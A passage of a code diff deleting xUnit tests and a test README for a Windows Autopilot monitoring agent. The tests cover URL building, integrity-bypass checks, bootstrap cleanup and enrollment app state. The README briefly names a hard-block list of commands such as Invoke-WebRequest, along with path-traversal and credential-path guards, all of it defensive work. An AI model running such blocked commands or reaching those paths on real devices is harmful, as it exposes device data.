/// continues to get the blob name appended. Mirrors the V2 tests in
/// <c>AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Runtime.DiagnosticsPackageServiceTests</c>.
/// V1 stays on this code path until phase-out per <c>feedback_codex_findings_v2_only</c>.
/// </summary>
public class DiagnosticsPackageServiceUrlBuilderTests
{
[Theory]
[InlineData("Hosted")]
[InlineData("hosted")]
[InlineData("HOSTED")]
public void BuildBlobUploadUrl_HostedDestination_ReturnsSasUnchanged(string destination)
{
const string hostedSas = "https://account.blob.core.windows.net/diagnostics/11111111-1111-1111-1111-111111111111/AgentDiagnostics-x.zip?sig=abc";
var result = DiagnosticsPackageService.BuildBlobUploadUrl(hostedSas, "AgentDiagnostics-x.zip", destination);
Assert.Equal(hostedSas, result);
}
[Fact]
public void BuildBlobUploadUrl_CustomerSas_AppendsBlobNameBeforeQuery()
{
const string containerSas = "https://customer.blob.core.windows.net/diagnostics?sv=2024-10-04&sig=xyz";
var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "AgentDiagnostics-x.zip", "CustomerSas");
Assert.Equal(
"https://customer.blob.core.windows.net/diagnostics/AgentDiagnostics-x.zip?sv=2024-10-04&sig=xyz",
result);
}
[Fact]
public void BuildBlobUploadUrl_NullDestination_AppendsBlobName_LegacyBackendCompat()
{
// Older backends without the Destination field return null; agent must
// preserve the historical container-SAS append behaviour.
const string containerSas = "https://customer.blob.core.windows.net/diag?sig=abc";
var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "diag.zip", null);
Assert.Equal("https://customer.blob.core.windows.net/diag/diag.zip?sig=abc", result);
}
[Fact]
public void BuildBlobUploadUrl_UnknownDestination_FallsBackToCustomerSasBehaviour()
{
const string containerSas = "https://customer.blob.core.windows.net/diag?sig=abc";
var result = DiagnosticsPackageService.BuildBlobUploadUrl(containerSas, "diag.zip", "Vendor");
Assert.EndsWith("/diag.zip?sig=abc", result);
}
[Fact]
public void BuildBlobUploadUrl_SasWithoutQueryString_AppendsBlobName()
{
const string noQuery = "https://customer.blob.core.windows.net/diag";
var result = DiagnosticsPackageService.BuildBlobUploadUrl(noQuery, "diag.zip", "CustomerSas");
Assert.Equal("https://customer.blob.core.windows.net/diag/diag.zip", result);
}
[Fact]
public void BuildBlobUploadUrl_HostedWithoutQueryString_StillReturnsUnchanged()
{
const string hostedNoQuery = "https://account.blob.core.windows.net/diagnostics/tenant/x.zip";
var result = DiagnosticsPackageService.BuildBlobUploadUrl(hostedNoQuery, "x.zip", "Hosted");
Assert.Equal(hostedNoQuery, result);
}
}
}
@@ -1,115 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Analyzers;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using AutopilotMonitor.Shared.Models;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Monitoring
{
/// <summary>
/// Sanity tests for IntegrityBypassAnalyzer. The analyzer reads HKLM/HKU, Win32_Tpm
/// and the real filesystem — we don't mock those here. Instead we verify the event
/// contract (type / phase / severity / required payload shape) against whatever the
/// test host reports. On any healthy dev machine this should emit a single
/// "integrity_bypass_analysis" event with Phase=Unknown and the documented payload.
/// </summary>
public class IntegrityBypassAnalyzerTests
{
private IntegrityBypassAnalyzer CreateAnalyzer(List<EnrollmentEvent> sink)
{
return new IntegrityBypassAnalyzer(
sessionId: "test-session",
tenantId: "test-tenant",
emitEvent: evt => sink.Add(evt),
logger: TestLogger.Instance);
}
[Fact]
public void AnalyzeAtStartup_EmitsSingleIntegrityBypassEvent_WithUnknownPhase()
{
var events = new List<EnrollmentEvent>();
var analyzer = CreateAnalyzer(events);
analyzer.AnalyzeAtStartup();
var evt = Assert.Single(events);
Assert.Equal("integrity_bypass_analysis", evt.EventType);
Assert.Equal(EnrollmentPhase.Unknown, evt.Phase);
Assert.Equal("IntegrityBypassAnalyzer", evt.Source);
Assert.Equal("test-session", evt.SessionId);
Assert.Equal("test-tenant", evt.TenantId);
Assert.NotNull(evt.Data);
Assert.True(evt.Data.ContainsKey("severity"));
Assert.True(evt.Data.ContainsKey("finding"));
Assert.True(evt.Data.ContainsKey("findings"));
Assert.True(evt.Data.ContainsKey("triggered_at"));
Assert.Equal("startup", evt.Data["triggered_at"]);
Assert.True(evt.Data.ContainsKey("checks"));
}
[Fact]
public void AnalyzeAtShutdown_IsNoOp()
{
// Integrity bypass artefacts are pre-enrollment state and do not change during
// enrollment. The shutdown call must not emit a duplicate event.
var events = new List<EnrollmentEvent>();
var analyzer = CreateAnalyzer(events);
analyzer.AnalyzeAtShutdown();
Assert.Empty(events);
}
[Fact]
public void Payload_ContainsDocumentedCheckSections()
{
var events = new List<EnrollmentEvent>();
var analyzer = CreateAnalyzer(events);
analyzer.AnalyzeAtStartup();
var evt = Assert.Single(events);
var checks = Assert.IsAssignableFrom<Dictionary<string, object>>(evt.Data["checks"]);
Assert.True(checks.ContainsKey("lab_config"));
Assert.True(checks.ContainsKey("mo_setup"));
Assert.True(checks.ContainsKey("pchc_upgrade_eligibility"));
Assert.True(checks.ContainsKey("setup_scripts"));
Assert.True(checks.ContainsKey("correlation"));
// Setup scripts entry is always a list of 2 (SetupComplete + ErrorHandler)
var scripts = Assert.IsAssignableFrom<System.Collections.IEnumerable>(checks["setup_scripts"]);
var count = scripts.Cast<object>().Count();
Assert.Equal(2, count);
}
[Fact]
public void Severity_IsLowerCaseString()
{
var events = new List<EnrollmentEvent>();
var analyzer = CreateAnalyzer(events);
analyzer.AnalyzeAtStartup();
var evt = Assert.Single(events);
var severity = Assert.IsType<string>(evt.Data["severity"]);
Assert.Equal(severity, severity.ToLowerInvariant());
// Must be one of the documented bucket labels
Assert.Contains(severity, new[] { "trace", "debug", "info", "warning", "error", "critical" });
}
[Fact]
public void NullConstructorArgs_Throw()
{
Assert.Throws<ArgumentNullException>(() =>
new IntegrityBypassAnalyzer(null, "t", evt => { }, TestLogger.Instance));
Assert.Throws<ArgumentNullException>(() =>
new IntegrityBypassAnalyzer("s", null, evt => { }, TestLogger.Instance));
Assert.Throws<ArgumentNullException>(() =>
new IntegrityBypassAnalyzer("s", "t", null, TestLogger.Instance));
Assert.Throws<ArgumentNullException>(() =>
new IntegrityBypassAnalyzer("s", "t", evt => { }, null));
}
}
}
@@ -1,19 +0,0 @@
using AutopilotMonitor.Agent.Core.Monitoring.Interop;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Monitoring
{
public class MemoryNativeMethodsTests
{
[Fact]
public void TryGetMemoryInfo_ReturnsPlausibleValues()
{
var ok = MemoryNativeMethods.TryGetMemoryInfo(out var availBytes, out var totalBytes, out var loadPercent);
Assert.True(ok, "GlobalMemoryStatusEx should succeed on a normal Windows test host");
Assert.True(totalBytes > 0, "total physical memory should be > 0");
Assert.True(availBytes <= totalBytes, "available must not exceed total");
Assert.InRange(loadPercent, 0u, 100u);
}
}
}
@@ -1,141 +0,0 @@
using System;
using System.IO;
using System.Net;
using System.Net.Http;
using System.Threading;
using System.Threading.Tasks;
using AutopilotMonitor.Agent.Core.Security;
using AutopilotMonitor.Agent.Core.Tests.Helpers;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Security
{
public class BootstrapConfigCleanupTests : IDisposable
{
private readonly string _tempDir;
private readonly string _bootstrapPath;
public BootstrapConfigCleanupTests()
{
_tempDir = Path.Combine(Path.GetTempPath(), "ap-bootstrap-cleanup-" + Guid.NewGuid().ToString("N"));
Directory.CreateDirectory(_tempDir);
_bootstrapPath = Path.Combine(_tempDir, "bootstrap-config.json");
File.WriteAllText(_bootstrapPath, "{\"BootstrapToken\":\"secret\"}");
}
public void Dispose()
{
try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
catch { /* best effort */ }
}
private static HttpClient BuildClient(FakeHttpMessageHandler handler)
=> new HttpClient(handler) { Timeout = TimeSpan.FromSeconds(5) };
private static HttpRequestMessage BuildRequest()
=> new HttpRequestMessage(HttpMethod.Get, "https://example.invalid/api/agent/config");
[Fact]
public async Task Probe_200_DeletesFile()
{
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.OK));
using (var http = BuildClient(handler))
{
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
}
Assert.False(File.Exists(_bootstrapPath), "bootstrap-config.json should have been deleted after successful probe");
}
[Fact]
public async Task Probe_204_DeletesFile()
{
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.NoContent));
using (var http = BuildClient(handler))
{
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
}
Assert.False(File.Exists(_bootstrapPath), "2xx responses must count as success");
}
[Fact]
public async Task Probe_401_KeepsFile()
{
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.Unauthorized));
using (var http = BuildClient(handler))
{
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
}
Assert.True(File.Exists(_bootstrapPath), "401 must keep the bootstrap file for retry next run");
}
[Fact]
public async Task Probe_500_KeepsFile()
{
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.InternalServerError));
using (var http = BuildClient(handler))
{
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
}
Assert.True(File.Exists(_bootstrapPath), "5xx must keep the bootstrap file");
}
[Fact]
public async Task Probe_NetworkError_KeepsFile_DoesNotThrow()
{
var handler = new FakeHttpMessageHandler(_ => throw new HttpRequestException("simulated connection refused"));
using (var http = BuildClient(handler))
{
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
}
Assert.True(File.Exists(_bootstrapPath), "network failure must keep the file and not throw");
}
[Fact]
public async Task Probe_200_ButFileAlreadyGone_DoesNotThrow()
{
File.Delete(_bootstrapPath);
var handler = new FakeHttpMessageHandler(_ => new HttpResponseMessage(HttpStatusCode.OK));
using (var http = BuildClient(handler))
{
await BootstrapConfigCleanup.ProbeAndDeleteCoreAsync(
_bootstrapPath, http, BuildRequest(), TestLogger.Instance);
}
Assert.False(File.Exists(_bootstrapPath));
}
private sealed class FakeHttpMessageHandler : HttpMessageHandler
{
private readonly Func<HttpRequestMessage, HttpResponseMessage> _responder;
public FakeHttpMessageHandler(Func<HttpRequestMessage, HttpResponseMessage> responder)
{
_responder = responder;
}
protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
{
try
{
return Task.FromResult(_responder(request));
}
catch (Exception ex)
{
var tcs = new TaskCompletionSource<HttpResponseMessage>();
tcs.SetException(ex);
return tcs.Task;
}
}
}
}
}
@@ -1,42 +0,0 @@
using System;
using System.IO;
using System.Linq;
using AutopilotMonitor.Agent.Core.Security;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Security
{
/// <summary>
/// Smoke test for <see cref="SystemPaths"/>: every pinned System32 binary must
/// exist on the test host. This catches typos, bad <c>Path.Combine</c> segments,
/// and accidental rewrites of the historical <c>WindowsPowerShell\v1.0</c> path —
/// all failure modes that would brick the Agent on every Windows device.
/// Windows-only (the Agent runs on net48 and CI runs on Windows agents).
/// </summary>
public class SystemPathsTests
{
[Fact]
public void AllPinnedPaths_ExistOnWindows()
{
Assert.Equal(PlatformID.Win32NT, Environment.OSVersion.Platform);
var paths = new (string name, string path)[]
{
(nameof(SystemPaths.Cmd), SystemPaths.Cmd),
(nameof(SystemPaths.Shutdown), SystemPaths.Shutdown),
(nameof(SystemPaths.TzUtil), SystemPaths.TzUtil),
(nameof(SystemPaths.Netsh), SystemPaths.Netsh),
(nameof(SystemPaths.PowerShell), SystemPaths.PowerShell),
};
var missing = paths
.Where(p => !File.Exists(p.path))
.Select(p => $"{p.name}: {p.path}")
.ToList();
Assert.True(
missing.Count == 0,
"SystemPaths point to missing binaries:\n " + string.Join("\n ", missing));
}
}
}
@@ -1,95 +0,0 @@
# Agent Unit Tests
## Overview
This test suite protects the Autopilot Monitor Agent against regressions in the enrollment state machine, security guards, log parsing, and crash recovery. The agent runs on real enrollment devices where debugging is difficult — these tests catch bugs before deployment.
**Framework:** xUnit 2.9.2 | **Target:** .NET Framework 4.8 | **Mocking:** None (pure logic tests with callbacks)
## Risk Matrix
| Risk Category | Concrete Bug | Test Suite | Impact |
|---|---|---|---|
| **Double enrollment events** | Two `enrollment_complete` = corrupted session data | CompletionTests | Session data corruption in backend |
| **Hybrid Join false-completion** | ESP exit during mid-enrollment reboot triggers premature completion | CompletionTests (Reboot Gate) | Agent self-destructs before enrollment finishes |
| **ESP resumption missed** | After hybrid join reboot: Hello state not reset, stale timers fire | EventHandlerTests | Wrong completion signals |
| **Phase bleed** | Device-phase apps appear in AccountSetup timeline | AppPackageStateListTests | Incorrect enrollment timeline |
| **Security bypass** | Path traversal in gather rules or diagnostics collection | GatherRuleGuardsTests, DiagnosticsPathGuardsTests | Data exfiltration from device |
| **Wrong device-only classification** | 3-boolean decision tree misclassifies deployments | CompletionTests | Thousands of deployments affected |
| **Premature completion** | Desktop signal triggers completion while ESP is still active | CompletionTests (ESP Gate) | Enrollment fails silently |
| **Endless enrollment wait** | Hello not configured but agent waits indefinitely | CompletionTests | Zombie agent until 6h timeout |
| **Log parsing crash** | Unexpected date format in IME log | CmTraceLogParserTests | Agent stops processing events |
| **State loss after crash** | Hybrid join flag, signal timestamps lost on restart | PersistenceTests | Duplicate events, wrong completion path |
| **Prefix spoofing** | `SOFTWARE\MicrosoftEvil` matches `SOFTWARE\Microsoft` prefix | GatherRuleGuardsTests | Unauthorized registry access |
| **Desktop false-positive** | SYSTEM account explorer.exe triggers desktop arrival | DesktopArrivalDetectorTests | Premature enrollment completion |
## Test Suites
### AppPackageStateTests
**File:** `Tracking/AppPackageStateTests.cs`
**Source:** `Monitoring/Tracking/AppPackageState.cs`
Tests app installation state transition guards. Prevents illegal state downgrades, broken auto-skip logic for inverse-detection apps, and incorrect upgrade-only protection from Win32AppState simplification.
### AppPackageStateListTests
**File:** `Tracking/AppPackageStateListTests.cs`
**Source:** `Monitoring/Tracking/AppPackageStateList.cs`
Tests phase isolation (ignore list), dependency cascade (Error/Postponed propagation), circular dependency protection, and completion detection including auto-skip of untouched dependency-only packages.
### CmTraceLogParserTests
**File:** `Tracking/CmTraceLogParserTests.cs`
**Source:** `Monitoring/Tracking/CmTraceLogParser.cs`
Tests CMTrace log format parsing used for IME log files. Covers single-digit months (M-d-yyyy), fractional second truncation (>7 digits), and graceful handling of non-CMTrace lines.
### LogFilePositionTrackerTests
**File:** `Tracking/LogFilePositionTrackerTests.cs`
**Source:** `Monitoring/Tracking/LogFilePositionTracker.cs`
Tests incremental log file reading: position tracking, log rotation detection (file shrinks), and crash recovery via position restoration.
### GatherRuleGuardsTests
**File:** `Collectors/GatherRuleGuardsTests.cs`
**Source:** `Monitoring/Collectors/GatherRuleGuards.cs`
Tests security guards for remote gather rules. Critical: segment-bounded matching prevents prefix spoofing, C:\Users always blocked (even unrestricted), hard-blocked command patterns (Invoke-WebRequest etc.) apply in all modes, max command length enforced.
### DiagnosticsPathGuardsTests
**File:** `Collectors/DiagnosticsPathGuardsTests.cs`
**Source:** `Monitoring/Collectors/DiagnosticsPathGuards.cs`
Tests path validation for configurable diagnostics collection. Path traversal prevention via GetFullPath normalization, C:\Users hard block, System32\config hard block, environment variable expansion.
### DesktopArrivalDetectorTests
**File:** `Collectors/DesktopArrivalDetectorTests.cs`
**Source:** `Monitoring/Collectors/DesktopArrivalDetector.cs`
Tests user exclusion logic. SYSTEM, LOCAL SERVICE, DefaultUser*, domain-prefixed accounts must be excluded. Real users (CONTOSO\john.doe) must not be filtered. Null/empty = excluded (fail-safe).
### EnrollmentStatePersistenceTests
**File:** `Tracking/EnrollmentStatePersistenceTests.cs`
**Source:** `Monitoring/Tracking/EnrollmentStatePersistence.cs`
Tests state serialization round-trip including all fields (IsHybridJoin, signal timestamps, SignalsSeen list). Verifies graceful handling of missing files and corrupt JSON.
## Architecture Notes
- **No mocking framework needed** — the agent uses `Action<EnrollmentEvent>` callbacks, making it easy to capture emitted events in tests
- **`InternalsVisibleTo`** allows access to `internal` members like `DesktopArrivalDetector.IsExcludedUser`
- **State machine tests** use `EnrollmentStatePersistence` with temp directories to pre-load state, then trigger completion paths
- All tests are **deterministic** (no timing, no OS calls) and **fast** (pure logic, minimal I/O)
## Running Tests
```bash
dotnet test src/Agent/AutopilotMonitor.Agent.Core.Tests/ --nologo -v quiet
```
@@ -1,66 +0,0 @@
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo;
using Xunit;
namespace AutopilotMonitor.Agent.Core.Tests.Telemetry.DeviceInfo;
/// <summary>
/// V1 mirror of DeviceInfoProviderVmDetectionTests — V1 is still the active ingest path
/// until V2 cutover, so the VM detection logic must stay in lock-step. See V2 sibling file
/// for the rationale (conservative-bias false negatives over false positives).
/// </summary>
public class DeviceInfoProviderVmDetectionTests
{
[Fact] public void HyperV_VM_DetectedByModel() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Virtual Machine"));
[Fact] public void HyperV_VM_CaseInsensitive() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("microsoft corporation", "virtual machine"));
[Fact] public void SurfaceLaptop_NotVM() =>
Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Laptop 5"));
[Fact] public void SurfacePro_NotVM() =>
Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Pro 9"));
[Fact] public void SurfaceBook_NotVM() =>
Assert.False(DeviceInfoProvider.IsVirtualMachine("Microsoft Corporation", "Surface Book 3"));
[Fact] public void VMware_DetectedByManufacturer() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("VMware, Inc.", "VMware Virtual Platform"));
[Fact] public void VMware_DetectedByModel_Defensive() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("Other Vendor", "VMware Virtual Platform"));
[Fact] public void VirtualBox_DetectedByManufacturer() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("innotek GmbH", "VirtualBox"));
[Fact] public void VirtualBox_DetectedByModel_Defensive() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("Other Vendor", "VirtualBox"));
[Fact] public void Xen_Detected() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("Xen", "HVM domU"));
[Fact] public void QEMU_Detected() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("QEMU", "Standard PC"));
[Fact] public void Parallels_Detected() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("Parallels Software International Inc.", "Parallels Virtual Platform"));
[Fact] public void RedHat_KVM_Detected() =>
Assert.True(DeviceInfoProvider.IsVirtualMachine("Red Hat", "KVM"));
[Fact] public void Lenovo_NotVM() =>
Assert.False(DeviceInfoProvider.IsVirtualMachine("LENOVO", "20XW00JEMZ"));
[Fact] public void Dell_NotVM() =>
Assert.False(DeviceInfoProvider.IsVirtualMachine("Dell Inc.", "Latitude 7430"));
[Fact] public void HP_NotVM() =>
Assert.False(DeviceInfoProvider.IsVirtualMachine("HP", "EliteBook 840 G9"));
[Fact] public void NullManufacturerAndModel_NotVM() =>
Assert.False(DeviceInfoProvider.IsVirtualMachine(null!, null!));
[Fact] public void EmptyManufacturerAndModel_NotVM() =>
Assert.False(DeviceInfoProvider.IsVirtualMachine("", ""));
}
@@ -1,281 +0,0 @@
using System.Collections.Generic;
using System.Linq;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
{
/// <summary>
/// Tests phase isolation (ignore list), dependency cascading, completion detection,
/// and circular dependency protection.
/// Prevents: phase bleed, broken dependency chains, infinite recursion.
/// </summary>
public class AppPackageStateListTests
{
private static AppPackageStateList CreateList()
=> new AppPackageStateList(null); // null logger is fine for tests
// -- Ignore list (phase isolation) --
[Fact]
public void GetPackage_InIgnoreList_ReturnsNull()
{
var list = CreateList();
list.Add(new AppPackageState("app-001", 0));
list.IgnoreList.Add("app-001");
var result = list.GetPackage("app-001");
Assert.Null(result);
}
[Fact]
public void IgnoreList_CaseInsensitive()
{
var list = CreateList();
list.Add(new AppPackageState("abc-123-DEF", 0));
list.IgnoreList.Add("abc-123-def");
var result = list.GetPackage("ABC-123-DEF");
Assert.Null(result);
}
[Fact]
public void GetPackage_NotInIgnoreList_ReturnsPackage()
{
var list = CreateList();
list.Add(new AppPackageState("app-001", 0));
var result = list.GetPackage("app-001");
Assert.NotNull(result);
Assert.Equal("app-001", result.Id);
}
[Fact]
public void GetPackage_CreateIfNotFound_CreatesNew()
{
var list = CreateList();
var result = list.GetPackage("new-app", createIfNotFound: true);
Assert.NotNull(result);
Assert.Equal("new-app", result.Id);
Assert.Single(list);
}
[Fact]
public void GetPackage_NullId_ReturnsNull()
{
var list = CreateList();
Assert.Null(list.GetPackage(null));
Assert.Null(list.GetPackage(""));
}
// -- Dependency cascading --
[Fact]
public void UpdateState_ErrorCascadesToDependents()
{
var list = CreateList();
var appA = new AppPackageState("app-a", 0);
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
var appB = new AppPackageState("app-b", 1);
list.Add(appA);
list.Add(appB);
list.UpdateState("app-b", AppInstallationState.Error);
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
}
[Fact]
public void UpdateState_PostponedCascadesToDependents()
{
var list = CreateList();
var appA = new AppPackageState("app-a", 0);
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
var appB = new AppPackageState("app-b", 1);
list.Add(appA);
list.Add(appB);
list.UpdateState("app-b", AppInstallationState.Postponed);
Assert.Equal(AppInstallationState.Postponed, appA.InstallationState);
}
[Fact]
public void UpdateState_InstalledDoesNotCascade()
{
var list = CreateList();
var appA = new AppPackageState("app-a", 0);
appA.UpdateIntent(AppIntent.Install);
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
var appB = new AppPackageState("app-b", 1);
appB.UpdateIntent(AppIntent.Install);
appB.UpdateState(AppInstallationState.Downloading);
list.Add(appA);
list.Add(appB);
list.UpdateState("app-b", AppInstallationState.Installed);
// appA should NOT be cascaded — Installed does not cascade
Assert.NotEqual(AppInstallationState.Installed, appA.InstallationState);
}
[Fact]
public void UpdateState_DeepCascade_TwoLevels()
{
var list = CreateList();
var appA = new AppPackageState("app-a", 0);
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
var appB = new AppPackageState("app-b", 1);
appB.UpdateDependsOn(new HashSet<string> { "app-c" });
var appC = new AppPackageState("app-c", 2);
list.AddRange(new[] { appA, appB, appC });
list.UpdateState("app-c", AppInstallationState.Error);
Assert.Equal(AppInstallationState.Error, appC.InstallationState);
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
}
[Fact]
public void GetDependentIdsDeep_CircularDependency_DoesNotStackOverflow()
{
// A depends on B, B depends on A — must not infinite loop
var list = CreateList();
var appA = new AppPackageState("app-a", 0);
appA.UpdateDependsOn(new HashSet<string> { "app-b" });
var appB = new AppPackageState("app-b", 1);
appB.UpdateDependsOn(new HashSet<string> { "app-a" });
list.Add(appA);
list.Add(appB);
// This exercises GetDependentIdsDeep indirectly — should not throw
list.UpdateState("app-a", AppInstallationState.Error);
Assert.Equal(AppInstallationState.Error, appA.InstallationState);
Assert.Equal(AppInstallationState.Error, appB.InstallationState);
}
// -- Completion detection --
[Fact]
public void IsAllCompleted_AllRequiredInstalled_True()
{
var list = CreateList();
var pkg = new AppPackageState("app-1", 0);
pkg.UpdateIntent(AppIntent.Install);
pkg.UpdateState(AppInstallationState.Downloading);
pkg.UpdateState(AppInstallationState.Installed);
list.Add(pkg);
Assert.True(list.IsAllCompleted());
}
[Fact]
public void IsAllCompleted_RequiredStillPending_False()
{
var list = CreateList();
var pkg = new AppPackageState("app-1", 0);
pkg.UpdateIntent(AppIntent.Install);
pkg.UpdateState(AppInstallationState.Downloading);
list.Add(pkg);
Assert.False(list.IsAllCompleted());
}
[Fact]
public void IsAllCompleted_Empty_ReturnsFalse()
{
var list = CreateList();
Assert.False(list.IsAllCompleted());
}
[Fact]
public void IsAllCompleted_DependencyOnlyNotTouched_AutoSkipped()
{
var list = CreateList();
// Required app: installed
var required = new AppPackageState("req-app", 0);
required.UpdateIntent(AppIntent.Install);
required.UpdateState(AppInstallationState.Downloading);
required.UpdateState(AppInstallationState.Installed);
list.Add(required);
// Dependency-only app: never touched by IME
var depOnly = new AppPackageState("dep-app", 1);
depOnly.UpdateIntent(AppIntent.Available); // Not required
list.Add(depOnly);
var result = list.IsAllCompleted();
Assert.True(result);
// Dependency-only app should be auto-skipped
Assert.Equal(AppInstallationState.Skipped, depOnly.InstallationState);
}
// -- Download state guards --
[Fact]
public void UpdateStateToDownloading_SkippedApp_Ignored()
{
var list = CreateList();
var pkg = new AppPackageState("app-1", 0);
// Force to Skipped (without downloading first = auto-skip)
pkg.UpdateState(AppInstallationState.Installed); // becomes Skipped
list.Add(pkg);
var changed = list.UpdateStateToDownloading("app-1", "100", "1000");
Assert.False(changed);
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
}
[Fact]
public void UpdateStateToDownloading_NormalApp_CalculatesProgress()
{
var list = CreateList();
var pkg = new AppPackageState("app-1", 0);
list.Add(pkg);
list.UpdateStateToDownloading("app-1", "500", "1000");
Assert.Equal(AppInstallationState.Downloading, pkg.InstallationState);
Assert.Equal(50, pkg.ProgressPercent);
Assert.Equal(500, pkg.BytesDownloaded);
Assert.Equal(1000, pkg.BytesTotal);
}
// -- AddToIgnoreList --
[Fact]
public void AddToIgnoreList_NullOrEmpty_ReturnsFalse()
{
var list = CreateList();
Assert.False(list.AddToIgnoreList(null));
Assert.False(list.AddToIgnoreList(""));
}
[Fact]
public void AddToIgnoreList_Duplicate_ReturnsFalse()
{
var list = CreateList();
list.AddToIgnoreList("app-1");
Assert.False(list.AddToIgnoreList("app-1"));
}
}
}
@@ -1,428 +0,0 @@
using System.Collections.Generic;
using Xunit;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
namespace AutopilotMonitor.Agent.Core.Tests.Tracking
{
/// <summary>
/// Tests AppPackageState transition guards and auto-skip logic.
/// Prevents: illegal state downgrades, broken inverse-detection auto-skip,
/// upgrade-only bypass, and incorrect byte normalization.
/// </summary>
public class AppPackageStateTests
{
private static AppPackageState CreatePackage(string id = "test-app-001", int listPos = 0)
=> new AppPackageState(id, listPos);
// -- State transition guards --
[Fact]
public void UpdateState_UpgradeOnly_PreventsDowngrade()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Installing);
var changed = pkg.UpdateState(AppInstallationState.Downloading, upgradeOnly: true);
Assert.False(changed);
Assert.Equal(AppInstallationState.Installing, pkg.InstallationState);
}
[Fact]
public void UpdateState_InstalledWithoutDownloading_BecomesSkipped()
{
// Apps with inverse detection rules (e.g. uninstall packages) are marked Installed
// without ever seeing a download. These must auto-downgrade to Skipped.
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Installed);
Assert.Equal(AppInstallationState.Skipped, pkg.InstallationState);
}
[Fact]
public void UpdateState_InstalledAfterDownloading_StaysInstalled()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
Assert.True(pkg.DownloadingOrInstallingSeen);
pkg.UpdateState(AppInstallationState.Installed);
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
}
[Fact]
public void UpdateState_InstalledCannotDowngradeToSkipped()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
pkg.UpdateState(AppInstallationState.Installed);
var changed = pkg.UpdateState(AppInstallationState.Skipped);
Assert.False(changed);
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
}
[Fact]
public void UpdateState_InstalledCannotDowngradeToPostponed()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
pkg.UpdateState(AppInstallationState.Installed);
var changed = pkg.UpdateState(AppInstallationState.Postponed);
Assert.False(changed);
Assert.Equal(AppInstallationState.Installed, pkg.InstallationState);
}
[Fact]
public void UpdateState_PostponedCannotGoBackToDownloading()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
pkg.UpdateState(AppInstallationState.Postponed);
var changed = pkg.UpdateState(AppInstallationState.Downloading);
Assert.False(changed);
Assert.Equal(AppInstallationState.Postponed, pkg.InstallationState);
}
[Fact]
public void UpdateState_NoChangeReturnsFalse()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
var changed = pkg.UpdateState(AppInstallationState.Downloading);
Assert.False(changed);
}
[Fact]
public void UpdateState_ErrorCanBeSetFromAnyState()
{
var pkg = CreatePackage();
pkg.UpdateState(AppInstallationState.Downloading);
var changed = pkg.UpdateState(AppInstallationState.Error);
